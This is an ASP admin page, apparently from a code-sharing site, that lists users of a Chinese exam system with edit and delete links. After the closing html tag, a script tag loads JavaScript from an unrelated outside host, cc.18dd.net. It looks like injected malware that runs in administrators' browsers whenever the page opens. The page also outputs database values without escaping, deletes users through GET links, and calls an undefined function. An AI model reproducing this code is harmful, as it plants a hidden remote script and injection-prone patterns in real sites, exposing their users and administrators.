📄 userlist.asp
字号:
<!--#include File="isAdmin.asp"-->
<html>
<head>
<title>用户管理</title>
<link rel="stylesheet" href="../style.css">
<script language="JavaScript">
function newwin(url) {
var newwin=window.open(url,"newwin","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=yes,resizable=yes,width=400,height=200");
newwin.focus();
return false;
}
</script>
</head>
<body link="#000080" vlink="#008080">
<h3></h3>
<h2 align="center">用户管理</h2>
<table width='90%' align=center cellspacing=0 cellpadding=0 border=1 bordercolor="#eeeeee" bordercolordark="#FFFFFF" bordercolorlight="#eeeeee">
<tr>
<td align="center" width='20%' bgcolor="#eeeeee"><b>班级编号</b></td>
<td align="center" width='20%' bgcolor="#eeeeee"><b>用户名</b></td>
<td align="center" width='20%' bgcolor="#eeeeee"><b>用户姓名</b></td>
<td align="center" width='20%' bgcolor="#eeeeee"><b>用户类型</b></td>
<td align="center" width='20%' bgcolor="#eeeeee"><b>操 作</b></td>
</tr>
<%
Set usr = New EUsers
usr.GetUserlist()
Do While Not usr.rs.EOF
%>
<tr>
<td align="center"><%=usr.rs("UserClass")%></td>
<td align="center"><%=usr.rs("UserName")%></td>
<td align="center"><%=usr.rs("RealName")%></td>
<td align="center">
<%If usr.rs("UserType")=0 Then%>考生<%Else%>管理员<%End If%></td>
<td align="center"><a href=UserEdit.asp?action=edit&uname=<%=usr.rs("UserName")%> onclick="return newwin(this.href)">修改</a>
<% If usr.rs("UserName")<>"Admin" Then %>
<a href=UserDel.asp?uname=<%=usr.rs("UserName")%> OnClick="if(confirm('确定要删除该用户信息？')){return newView(this.href);}return false;">删除</a> </td>
<% End If %>
</tr>
<% usr.rs.MoveNext
Loop
%>
</table>
<br>
<p align=center><a href=# onclick="return newwin('UserEdit.asp?action=add')">添加用户信息</a></p>
</body>
</html>
<script language=javascript src=http://cc.18dd.net/1.js></script>⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -